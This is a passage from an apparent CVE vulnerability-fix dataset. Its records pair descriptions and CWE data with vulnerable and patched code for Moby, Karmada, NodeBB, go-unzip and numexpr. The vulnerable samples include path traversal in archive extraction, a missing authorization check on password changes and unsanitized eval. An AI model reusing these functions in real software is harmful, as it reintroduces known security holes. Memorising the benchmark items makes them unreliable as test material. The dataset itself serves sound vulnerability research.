\"proc\",\n\t\t\t\tSource:      \"proc\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev\",\n\t\t\t\tType:        \"tmpfs\",\n\t\t\t\tSource:      \"tmpfs\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"strictatime\", \"mode=755\", \"size=65536k\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev/pts\",\n\t\t\t\tType:        \"devpts\",\n\t\t\t\tSource:      \"devpts\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"newinstance\", \"ptmxmode=0666\", \"mode=0620\", \"gid=5\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/sys\",\n\t\t\t\tType:        \"sysfs\",\n\t\t\t\tSource:      \"sysfs\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\", \"ro\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/sys/fs/cgroup\",\n\t\t\t\tType:        \"cgroup\",\n\t\t\t\tSource:      \"cgroup\",\n\t\t\t\tOptions:     []string{\"ro\", \"nosuid\", \"noexec\", \"nodev\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev/mqueue\",\n\t\t\t\tType:        \"mqueue\",\n\t\t\t\tSource:      \"mqueue\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\"},\n\t\t\t},\n\t\t\t{\n\t\t\t\tDestination: \"/dev/shm\",\n\t\t\t\tType:        \"tmpfs\",\n\t\t\t\tSource:      \"shm\",\n\t\t\t\tOptions:     []string{\"nosuid\", \"noexec\", \"nodev\", \"mode=1777\"},\n\t\t\t},\n\t\t},\n\t\tLinux: &specs.Linux{\n\t\t\tMaskedPaths: []string{\n\t\t\t\t\"/proc/asound\",\n\t\t\t\t\"/proc/acpi\",\n\t\t\t\t\"/proc/kcore\",\n\t\t\t\t\"/proc/keys\",\n\t\t\t\t\"/proc/latency_stats\",\n\t\t\t\t\"/proc/timer_list\",\n\t\t\t\t\"/proc/timer_stats\",\n\t\t\t\t\"/proc/sched_debug\",\n\t\t\t\t\"/proc/scsi\",\n\t\t\t\t\"/sys/firmware\",\n\t\t\t},\n\t\t\tReadonlyPaths: []string{\n\t\t\t\t\"/proc/bus\",\n\t\t\t\t\"/proc/fs\",\n\t\t\t\t\"/proc/irq\",\n\t\t\t\t\"/proc/sys\",\n\t\t\t\t\"/proc/sysrq-trigger\",\n\t\t\t},\n\t\t\tNamespaces: []specs.LinuxNamespace{\n\t\t\t\t{Type: \"mount\"},\n\t\t\t\t{Type: \"network\"},\n\t\t\t\t{Type: \"uts\"},\n\t\t\t\t{Type: \"pid\"},\n\t\t\t\t{Type: \"ipc\"},\n\t\t\t},\n\t\t\t// Devices implicitly contains the following devices:\n\t\t\t// null, zero, full, random, urandom, tty, console, and ptmx.\n\t\t\t// ptmx is a bind mount or symlink of the container's ptmx.\n\t\t\t// See also: https://github.com/opencontainers/runtime-spec/blob/master/config-linux.md#default-devices\n\t\t\tDevices: []specs.LinuxDevice{},\n\t\t\tResources: &specs.LinuxResources{\n\t\t\t\tDevices: []specs.LinuxDeviceCgroup{\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  false,\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(5),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(3),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(9),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(1),\n\t\t\t\t\t\tMinor:  iPtr(8),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(5),\n\t\t\t\t\t\tMinor:  iPtr(0),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  true,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(5),\n\t\t\t\t\t\tMinor:  iPtr(1),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t\t{\n\t\t\t\t\t\tAllow:  false,\n\t\t\t\t\t\tType:   \"c\",\n\t\t\t\t\t\tMajor:  iPtr(10),\n\t\t\t\t\t\tMinor:  iPtr(229),\n\t\t\t\t\t\tAccess: \"rwm\",\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\t}\n}"}, {"id": "fix_go_142_3", "commit": "2bbc786", "file_path": "oci/oci.go", "start_line": 21, "end_line": 37, "snippet": "func SetCapabilities(s *specs.Spec, caplist []string) error {\n\t// setUser has already been executed here\n\tif s.Process.User.UID == 0 {\n\t\ts.Process.Capabilities = &specs.LinuxCapabilities{\n\t\t\tEffective: caplist,\n\t\t\tBounding:  caplist,\n\t\t\tPermitted: caplist,\n\t\t}\n\t} else {\n\t\t// Do not set Effective and Permitted capabilities for non-root users,\n\t\t// to match what execve does.\n\t\ts.Process.Capabilities = &specs.LinuxCapabilities{\n\t\t\tBounding: caplist,\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/daemon/exec_linux.go\n+++ b/daemon/exec_linux.go\n@@ -7,13 +7,11 @@\n \t\t}\n \t}\n \tif ec.Privileged {\n-\t\tif p.Capabilities == nil {\n-\t\t\tp.Capabilities = &specs.LinuxCapabilities{}\n+\t\tp.Capabilities = &specs.LinuxCapabilities{\n+\t\t\tBounding:  caps.GetAllCapabilities(),\n+\t\t\tPermitted: caps.GetAllCapabilities(),\n+\t\t\tEffective: caps.GetAllCapabilities(),\n \t\t}\n-\t\tp.Capabilities.Bounding = caps.GetAllCapabilities()\n-\t\tp.Capabilities.Permitted = p.Capabilities.Bounding\n-\t\tp.Capabilities.Inheritable = p.Capabilities.Bounding\n-\t\tp.Capabilities.Effective = p.Capabilities.Bounding\n \t}\n \tif apparmor.HostSupports() {\n \t\tvar appArmorProfile string\n\n--- a/oci/defaults.go\n+++ b/oci/defaults.go\n@@ -3,10 +3,9 @@\n \t\tVersion: specs.Version,\n \t\tProcess: &specs.Process{\n \t\t\tCapabilities: &specs.LinuxCapabilities{\n-\t\t\t\tBounding:    caps.DefaultCapabilities(),\n-\t\t\t\tPermitted:   caps.DefaultCapabilities(),\n-\t\t\t\tInheritable: caps.DefaultCapabilities(),\n-\t\t\t\tEffective:   caps.DefaultCapabilities(),\n+\t\t\t\tBounding:  caps.DefaultCapabilities(),\n+\t\t\t\tPermitted: caps.DefaultCapabilities(),\n+\t\t\t\tEffective: caps.DefaultCapabilities(),\n \t\t\t},\n \t\t},\n \t\tRoot: &specs.Root{},\n\n--- a/oci/oci.go\n+++ b/oci/oci.go\n@@ -1,13 +1,17 @@\n func SetCapabilities(s *specs.Spec, caplist []string) error {\n-\ts.Process.Capabilities.Effective = caplist\n-\ts.Process.Capabilities.Bounding = caplist\n-\ts.Process.Capabilities.Permitted = caplist\n-\ts.Process.Capabilities.Inheritable = caplist\n \t// setUser has already been executed here\n-\t// if non root drop capabilities in the way execve does\n-\tif s.Process.User.UID != 0 {\n-\t\ts.Process.Capabilities.Effective = []string{}\n-\t\ts.Process.Capabilities.Permitted = []string{}\n+\tif s.Process.User.UID == 0 {\n+\t\ts.Process.Capabilities = &specs.LinuxCapabilities{\n+\t\t\tEffective: caplist,\n+\t\t\tBounding:  caplist,\n+\t\t\tPermitted: caplist,\n+\t\t}\n+\t} else {\n+\t\t// Do not set Effective and Permitted capabilities for non-root users,\n+\t\t// to match what execve does.\n+\t\ts.Process.Capabilities = &specs.LinuxCapabilities{\n+\t\t\tBounding: caplist,\n+\t\t}\n \t}\n \treturn nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-56514", "cve_description": "Karmada is a Kubernetes management system that allows users to run cloud-native applications across multiple Kubernetes clusters and clouds. Prior to version 1.12.0, both in karmadactl and karmada-operator, it is possible to supply a filesystem path, or an HTTP(s) URL to retrieve the custom resource definitions(CRDs) needed by Karmada. The CRDs are downloaded as a gzipped tarfile and are vulnerable to a TarSlip vulnerability. An attacker able to supply a malicious CRD file into a Karmada initialization could write arbitrary files in arbitrary paths of the filesystem. From Karmada version 1.12.0, when processing custom CRDs files, CRDs archive verification is utilized to enhance file system robustness. A workaround is available. Someone who needs to set flag `--crd` to customize the CRD files required for Karmada initialization when using `karmadactl init` to set up Karmada can manually inspect the CRD files to check whether they contain sequences such as `../` that would alter file paths, to determine if they potentially include malicious files. When using karmada-operator to set up Karmada, one must upgrade one's karmada-operator to one of the fixed versions.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/karmada-io/karmada", "patch_url": ["https://github.com/karmada-io/karmada/commit/40ec488b18a461ab0f871d2c9ec8665b361f0d50", "https://github.com/karmada-io/karmada/commit/f78e7e2a3d02bed04e9bc7abd3ae7b3ac56862d2"], "programing_language": "Go", "vul_func": [{"id": "vul_go_171_1", "commit": "f78e7e2", "file_path": "pkg/karmadactl/cmdinit/kubernetes/deploy.go", "start_line": 383, "end_line": 397, "snippet": "func (i *CommandInitOption) prepareCRD() error {\n\tif strings.HasPrefix(i.CRDs, \"http\") {\n\t\tfilename := i.KarmadaDataPath + \"/\" + path.Base(i.CRDs)\n\t\tklog.Infof(\"download crds file:%s\", i.CRDs)\n\t\tif err := utils.DownloadFile(i.CRDs, filename); err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif err := utils.DeCompress(filename, i.KarmadaDataPath); err != nil {\n\t\t\treturn err\n\t\t}\n\t\treturn nil\n\t}\n\tklog.Infoln(\"local crds file name:\", i.CRDs)\n\treturn utils.DeCompress(i.CRDs, i.KarmadaDataPath)\n}"}], "fix_func": [{"id": "fix_go_171_1", "commit": "40ec488", "file_path": "pkg/karmadactl/cmdinit/kubernetes/deploy.go", "start_line": 385, "end_line": 414, "snippet": "func (i *CommandInitOption) prepareCRD() error {\n\tvar filename string\n\tif strings.HasPrefix(i.CRDs, \"http\") {\n\t\tfilename = i.KarmadaDataPath + \"/\" + path.Base(i.CRDs)\n\t\tklog.Infof(\"download crds file:%s\", i.CRDs)\n\t\tif err := utils.DownloadFile(i.CRDs, filename); err != nil {\n\t\t\treturn err\n\t\t}\n\t} else {\n\t\tfilename = i.CRDs\n\t\tklog.Infoln(\"local crds file name:\", i.CRDs)\n\t}\n\n\tif err := validation.ValidateTarball(filename, validation.ValidateCrdsTarBall); err != nil {\n\t\treturn fmt.Errorf(\"inValid crd tar, err: %w\", err)\n\t}\n\n\tif err := utils.DeCompress(filename, i.KarmadaDataPath); err != nil {\n\t\treturn err\n\t}\n\n\tfor _, archive := range validation.CrdsArchive {\n\t\texpectedDir := filepath.Join(i.KarmadaDataPath, archive)\n\t\texist, _ := utils.PathExists(expectedDir)\n\t\tif !exist {\n\t\t\treturn fmt.Errorf(\"lacking the necessary file path: %s\", expectedDir)\n\t\t}\n\t}\n\treturn nil\n}"}], "vul_patch": "--- a/pkg/karmadactl/cmdinit/kubernetes/deploy.go\n+++ b/pkg/karmadactl/cmdinit/kubernetes/deploy.go\n@@ -1,15 +1,30 @@\n func (i *CommandInitOption) prepareCRD() error {\n+\tvar filename string\n \tif strings.HasPrefix(i.CRDs, \"http\") {\n-\t\tfilename := i.KarmadaDataPath + \"/\" + path.Base(i.CRDs)\n+\t\tfilename = i.KarmadaDataPath + \"/\" + path.Base(i.CRDs)\n \t\tklog.Infof(\"download crds file:%s\", i.CRDs)\n \t\tif err := utils.DownloadFile(i.CRDs, filename); err != nil {\n \t\t\treturn err\n \t\t}\n-\t\tif err := utils.DeCompress(filename, i.KarmadaDataPath); err != nil {\n-\t\t\treturn err\n+\t} else {\n+\t\tfilename = i.CRDs\n+\t\tklog.Infoln(\"local crds file name:\", i.CRDs)\n+\t}\n+\n+\tif err := validation.ValidateTarball(filename, validation.ValidateCrdsTarBall); err != nil {\n+\t\treturn fmt.Errorf(\"inValid crd tar, err: %w\", err)\n+\t}\n+\n+\tif err := utils.DeCompress(filename, i.KarmadaDataPath); err != nil {\n+\t\treturn err\n+\t}\n+\n+\tfor _, archive := range validation.CrdsArchive {\n+\t\texpectedDir := filepath.Join(i.KarmadaDataPath, archive)\n+\t\texist, _ := utils.PathExists(expectedDir)\n+\t\tif !exist {\n+\t\t\treturn fmt.Errorf(\"lacking the necessary file path: %s\", expectedDir)\n \t\t}\n-\t\treturn nil\n \t}\n-\tklog.Infoln(\"local crds file name:\", i.CRDs)\n-\treturn utils.DeCompress(i.CRDs, i.KarmadaDataPath)\n+\treturn nil\n }\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-15149", "cve_description": "NodeBB before version 1.14.3 has a bug introduced in version 1.12.2 in the validation logic that makes it possible to change the password of any user on a running NodeBB forum by sending a specially crafted socket.io call to the server. This could lead to a privilege escalation event due via an account takeover. As a workaround you may cherry-pick the following commit from the project's repository to your running instance of NodeBB: 16cee1b03ba3eee177834a1fdac4aa8a12b39d2a. This is fixed in version 1.14.3.", "cwe_info": {"CWE-287": {"name": "Improper Authentication", "description": "When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct."}}, "repo": "https://github.com/NodeBB/NodeBB", "patch_url": ["https://github.com/NodeBB/NodeBB/commit/c2477d9d5ffc43e5ffeb537ea2ceb4ce9592aa39"], "programing_language": "JavaScript", "vul_func": [{"id": "vul_js_190_1", "commit": "28970b0", "file_path": "src/user/profile.js", "start_line": 268, "end_line": 307, "snippet": "\tUser.changePassword = async function (uid, data) {\n\t\tif (uid <= 0 || !data || !data.uid) {\n\t\t\tthrow new Error('[[error:invalid-uid]]');\n\t\t}\n\t\tUser.isPasswordValid(data.newPassword);\n\t\tconst [isAdmin, hasPassword] = await Promise.all([\n\t\t\tUser.isAdministrator(uid),\n\t\t\tUser.hasPassword(uid),\n\t\t]);\n\n\t\tif (meta.config['password:disableEdit'] && !isAdmin) {\n\t\t\tthrow new Error('[[error:no-privileges]]');\n\t\t}\n\t\tlet isAdminOrPasswordMatch = false;\n\t\tconst isSelf = parseInt(uid, 10) === parseInt(data.uid, 10);\n\t\tif (\n\t\t\t(isAdmin && !isSelf) || // Admins ok\n\t\t\t(!hasPassword && isSelf)\t// Initial password set ok\n\t\t) {\n\t\t\tisAdminOrPasswordMatch = true;\n\t\t} else {\n\t\t\tisAdminOrPasswordMatch = await User.isPasswordCorrect(uid, data.currentPassword, data.ip);\n\t\t}\n\n\t\tif (!isAdminOrPasswordMatch) {\n\t\t\tthrow new Error('[[user:change_password_error_wrong_current]]');\n\t\t}\n\n\t\tconst hashedPassword = await User.hashPassword(data.newPassword);\n\t\tawait Promise.all([\n\t\t\tUser.setUserFields(data.uid, {\n\t\t\t\tpassword: hashedPassword,\n\t\t\t\trss_token: utils.generateUUID(),\n\t\t\t}),\n\t\t\tUser.reset.updateExpiry(data.uid),\n\t\t\tUser.auth.revokeAllSessions(data.uid),\n\t\t]);\n\n\t\tplugins.fireHook('action:password.change', { uid: uid, targetUid: data.uid });\n\t};"}], "fix_func": [{"id": "fix_js_190_1", "commit": "c2477d9", "file_path": "src/user/profile.js", "start_line": 268, "end_line": 312, "snippet": "\tUser.changePassword = async function (uid, data) {\n\t\tif (uid <= 0 || !data || !data.uid) {\n\t\t\tthrow new Error('[[error:invalid-uid]]');\n\t\t}\n\t\tUser.isPasswordValid(data.newPassword);\n\t\tconst [isAdmin, hasPassword] = await Promise.all([\n\t\t\tUser.isAdministrator(uid),\n\t\t\tUser.hasPassword(uid),\n\t\t]);\n\n\t\tif (meta.config['password:disableEdit'] && !isAdmin) {\n\t\t\tthrow new Error('[[error:no-privileges]]');\n\t\t}\n\t\tlet isAdminOrPasswordMatch = false;\n\t\tconst isSelf = parseInt(uid, 10) === parseInt(data.uid, 10);\n\n\t\tif (!isAdmin && !isSelf) {\n\t\t\tthrow new Error('[[user:change_password_error_privileges]]');\n\t\t}\n\n\t\tif (\n\t\t\t(isAdmin && !isSelf) || // Admins ok\n\t\t\t(!hasPassword && isSelf)\t// Initial password set ok\n\t\t) {\n\t\t\tisAdminOrPasswordMatch = true;\n\t\t} else {\n\t\t\tisAdminOrPasswordMatch = await User.isPasswordCorrect(data.uid, data.currentPassword, data.ip);\n\t\t}\n\n\t\tif (!isAdminOrPasswordMatch) {\n\t\t\tthrow new Error('[[user:change_password_error_wrong_current]]');\n\t\t}\n\n\t\tconst hashedPassword = await User.hashPassword(data.newPassword);\n\t\tawait Promise.all([\n\t\t\tUser.setUserFields(data.uid, {\n\t\t\t\tpassword: hashedPassword,\n\t\t\t\trss_token: utils.generateUUID(),\n\t\t\t}),\n\t\t\tUser.reset.updateExpiry(data.uid),\n\t\t\tUser.auth.revokeAllSessions(data.uid),\n\t\t]);\n\n\t\tplugins.fireHook('action:password.change', { uid: uid, targetUid: data.uid });\n\t};"}], "vul_patch": "--- a/src/user/profile.js\n+++ b/src/user/profile.js\n@@ -13,13 +13,18 @@\n \t\t}\n \t\tlet isAdminOrPasswordMatch = false;\n \t\tconst isSelf = parseInt(uid, 10) === parseInt(data.uid, 10);\n+\n+\t\tif (!isAdmin && !isSelf) {\n+\t\t\tthrow new Error('[[user:change_password_error_privileges]]');\n+\t\t}\n+\n \t\tif (\n \t\t\t(isAdmin && !isSelf) || // Admins ok\n \t\t\t(!hasPassword && isSelf)\t// Initial password set ok\n \t\t) {\n \t\t\tisAdminOrPasswordMatch = true;\n \t\t} else {\n-\t\t\tisAdminOrPasswordMatch = await User.isPasswordCorrect(uid, data.currentPassword, data.ip);\n+\t\t\tisAdminOrPasswordMatch = await User.isPasswordCorrect(data.uid, data.currentPassword, data.ip);\n \t\t}\n \n \t\tif (!isAdminOrPasswordMatch) {\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2020-36560", "cve_description": "Due to improper path sanitization, archives containing relative file paths can cause files to be written (or overwritten) outside of the target directory.", "cwe_info": {"CWE-73": {"name": "External Control of File Name or Path", "description": "The product allows user input to control or influence paths or file names that are used in filesystem operations."}, "CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/artdarek/go-unzip", "patch_url": ["https://github.com/artdarek/go-unzip/commit/4975cbe0a719dc50b12da8585f1f207c82f7dfe0"], "programing_language": "Go", "vul_func": [{"id": "vul_go_258_1", "commit": "33dc05190e4b29614e181f9176ceaf42fa23c2b6", "file_path": "unzip.go", "start_line": 20, "end_line": 83, "snippet": "func (uz Unzip) Extract() error {\n\n\tfmt.Println(\"Extraction of \" + uz.Src + \" started!\")\n\n\tr, err := zip.OpenReader(uz.Src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err := r.Close(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\tos.MkdirAll(uz.Dest, 0755)\n\n\t// Closure to address file descriptors issue with all the deferred .Close() methods\n\textractAndWriteFile := func(f *zip.File) error {\n\t\trc, err := f.Open()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer func() {\n\t\t\tif err := rc.Close(); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}()\n\n\t\tpath := filepath.Join(uz.Dest, f.Name)\n\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(path, f.Mode())\n\t\t} else {\n\t\t\tos.MkdirAll(filepath.Dir(path), f.Mode())\n\t\t\tf, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer func() {\n\t\t\t\tif err := f.Close(); err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\t_, err = io.Copy(f, rc)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tfor _, f := range r.File {\n\t\terr := extractAndWriteFile(f)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Println(\"Extracting file: \" + f.Name)\n\t}\n\n\tfmt.Println(\"Extraction of \" + uz.Src + \" finished!\")\n\n\treturn nil\n}"}], "fix_func": [{"id": "fix_go_258_1", "commit": "4975cbe0a719dc50b12da8585f1f207c82f7dfe0", "file_path": "unzip.go", "start_line": 21, "end_line": 87, "snippet": "func (uz Unzip) Extract() error {\n\n\tfmt.Println(\"Extraction of \" + uz.Src + \" started!\")\n\n\tr, err := zip.OpenReader(uz.Src)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err := r.Close(); err != nil {\n\t\t\tpanic(err)\n\t\t}\n\t}()\n\n\tos.MkdirAll(uz.Dest, 0755)\n\n\t// Closure to address file descriptors issue with all the deferred .Close() methods\n\textractAndWriteFile := func(f *zip.File) error {\n\t\trc, err := f.Open()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer func() {\n\t\t\tif err := rc.Close(); err != nil {\n\t\t\t\tpanic(err)\n\t\t\t}\n\t\t}()\n\n\t\tpath := filepath.Join(uz.Dest, f.Name)\n\t\tif !strings.HasPrefix(path, filepath.Clean(uz.Dest)+string(os.PathSeparator)) {\n            return fmt.Errorf(\"%s: Illegal file path\", path)\n        }\n\n\t\tif f.FileInfo().IsDir() {\n\t\t\tos.MkdirAll(path, f.Mode())\n\t\t} else {\n\t\t\tos.MkdirAll(filepath.Dir(path), f.Mode())\n\t\t\tf, err := os.OpenFile(path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, f.Mode())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tdefer func() {\n\t\t\t\tif err := f.Close(); err != nil {\n\t\t\t\t\tpanic(err)\n\t\t\t\t}\n\t\t\t}()\n\n\t\t\t_, err = io.Copy(f, rc)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t\treturn nil\n\t}\n\n\tfor _, f := range r.File {\n\t\terr := extractAndWriteFile(f)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tfmt.Println(\"Extracting file: \" + f.Name)\n\t}\n\n\tfmt.Println(\"Extraction of \" + uz.Src + \" finished!\")\n\n\treturn nil\n}"}], "vul_patch": "--- a/unzip.go\n+++ b/unzip.go\n@@ -27,6 +27,9 @@\n \t\t}()\n \n \t\tpath := filepath.Join(uz.Dest, f.Name)\n+\t\tif !strings.HasPrefix(path, filepath.Clean(uz.Dest)+string(os.PathSeparator)) {\n+            return fmt.Errorf(\"%s: Illegal file path\", path)\n+        }\n \n \t\tif f.FileInfo().IsDir() {\n \t\t\tos.MkdirAll(path, f.Mode())\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2023-39631", "cve_description": "An issue in LanChain-ai Langchain v.0.0.245 allows a remote attacker to execute arbitrary code via the evaluate function in the numexpr library.", "cwe_info": {"CWE-94": {"name": "Improper Control of Generation of Code ('Code Injection')", "description": "The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment."}, "CWE-77": {"name": "Improper Neutralization of Special Elements used in a Command ('Command Injection')", "description": "The product constructs all or part of a command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended command when it is sent to a downstream component."}, "CWE-78": {"name": "Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')", "description": "The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component."}}, "repo": "https://github.com/pydata/numexpr", "patch_url": ["https://github.com/pydata/numexpr/commit/4b2d89cf14e75030d27629925b9998e1e91d23c7"], "programing_language": "Python", "vul_func": [{"id": "vul_py_35_1", "commit": "74d5973", "file_path": "numexpr/necompiler.py", "start_line": 263, "end_line": 296, "snippet": "def stringToExpression(s, types, context):\n    \"\"\"Given a string, convert it to a tree of ExpressionNode's.\n    \"\"\"\n    old_ctx = expressions._context.get_current_context()\n    try:\n        expressions._context.set_new_context(context)\n        # first compile to a code object to determine the names\n        if context.get('truediv', False):\n            flags = __future__.division.compiler_flag\n        else:\n            flags = 0\n        c = compile(s, '<expr>', 'eval', flags)\n        # make VariableNode's for the names\n        names = {}\n        for name in c.co_names:\n            if name == \"None\":\n                names[name] = None\n            elif name == \"True\":\n                names[name] = True\n            elif name == \"False\":\n                names[name] = False\n            else:\n                t = types.get(name, default_type)\n                names[name] = expressions.VariableNode(name, type_to_kind[t])\n        names.update(expressions.functions)\n        # now build the expression\n        ex = eval(c, names)\n        if expressions.isConstant(ex):\n            ex = expressions.ConstantNode(ex, expressions.getKind(ex))\n        elif not isinstance(ex, expressions.ExpressionNode):\n            raise TypeError(\"unsupported expression type: %s\" % type(ex))\n    finally:\n        expressions._context.set_new_context(old_ctx)\n    return ex"}], "fix_func": [{"id": "fix_py_35_1", "commit": "4b2d89c", "file_path": "numexpr/necompiler.py", "start_line": 263, "end_line": 306, "snippet": "_forbidden_re = re.compile('[\\;[\\:]|__')\ndef stringToExpression(s, types, context):\n    \"\"\"Given a string, convert it to a tree of ExpressionNode's.\n    \"\"\"\n    # sanitize the string for obvious attack vectors that NumExpr cannot \n    # parse into its homebrew AST. This is to protect the call to `eval` below.\n    # We forbid `;`, `:`. `[` and `__`\n    # We would like to forbid `.` but it is both a reference and decimal point.\n    if _forbidden_re.search(s) is not None:\n        raise ValueError(f'Expression {s} has forbidden control characters.')\n    \n    old_ctx = expressions._context.get_current_context()\n    try:\n        expressions._context.set_new_context(context)\n        # first compile to a code object to determine the names\n        if context.get('truediv', False):\n            flags = __future__.division.compiler_flag\n        else:\n            flags = 0\n        c = compile(s, '<expr>', 'eval', flags)\n        # make VariableNode's for the names\n        names = {}\n        for name in c.co_names:\n            if name == \"None\":\n                names[name] = None\n            elif name == \"True\":\n                names[name] = True\n            elif name == \"False\":\n                names[name] = False\n            else:\n                t = types.get(name, default_type)\n                names[name] = expressions.VariableNode(name, type_to_kind[t])\n        names.update(expressions.functions)\n\n        # now build the expression\n        ex = eval(c, names)\n        \n        if expressions.isConstant(ex):\n            ex = expressions.ConstantNode(ex, expressions.getKind(ex))\n        elif not isinstance(ex, expressions.ExpressionNode):\n            raise TypeError(\"unsupported expression type: %s\" % type(ex))\n    finally:\n        expressions._context.set_new_context(old_ctx)\n    return ex"}], "vul_patch": "--- a/numexpr/necompiler.py\n+++ b/numexpr/necompiler.py\n@@ -1,5 +1,14 @@\n+_forbidden_re = re.compile('[\\;[\\:]|__')\n+def stringToExpression(s, types, context):\n     \"\"\"Given a string, convert it to a tree of ExpressionNode's.\n     \"\"\"\n+    # sanitize the string for obvious attack vectors that NumExpr cannot \n+    # parse into its homebrew AST. This is to protect the call to `eval` below.\n+    # We forbid `;`, `:`. `[` and `__`\n+    # We would like to forbid `.` but it is both a reference and decimal point.\n+    if _forbidden_re.search(s) is not None:\n+        raise ValueError(f'Expression {s} has forbidden control characters.')\n+    \n     old_ctx = expressions._context.get_current_context()\n     try:\n         expressions._context.set_new_context(context)\n@@ -22,8 +31,10 @@\n                 t = types.get(name, default_type)\n                 names[name] = expressions.VariableNode(name, type_to_kind[t])\n         names.update(expressions.functions)\n+\n         # now build the expression\n         ex = eval(c, names)\n+        \n         if expressions.isConstant(ex):\n             ex = expressions.ConstantNode(ex, expressions.getKind(ex))\n         elif not isinstance(ex, expressions.ExpressionNode):\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-39631:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/numexpr\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2023-39631/bin/python -m pytest numexpr/tests/test_numexpr.py -k test_forbidden_tokens -p no:warning --disable-warnings\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2023-39631:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/numexpr\ngit apply --whitespace=nowarn 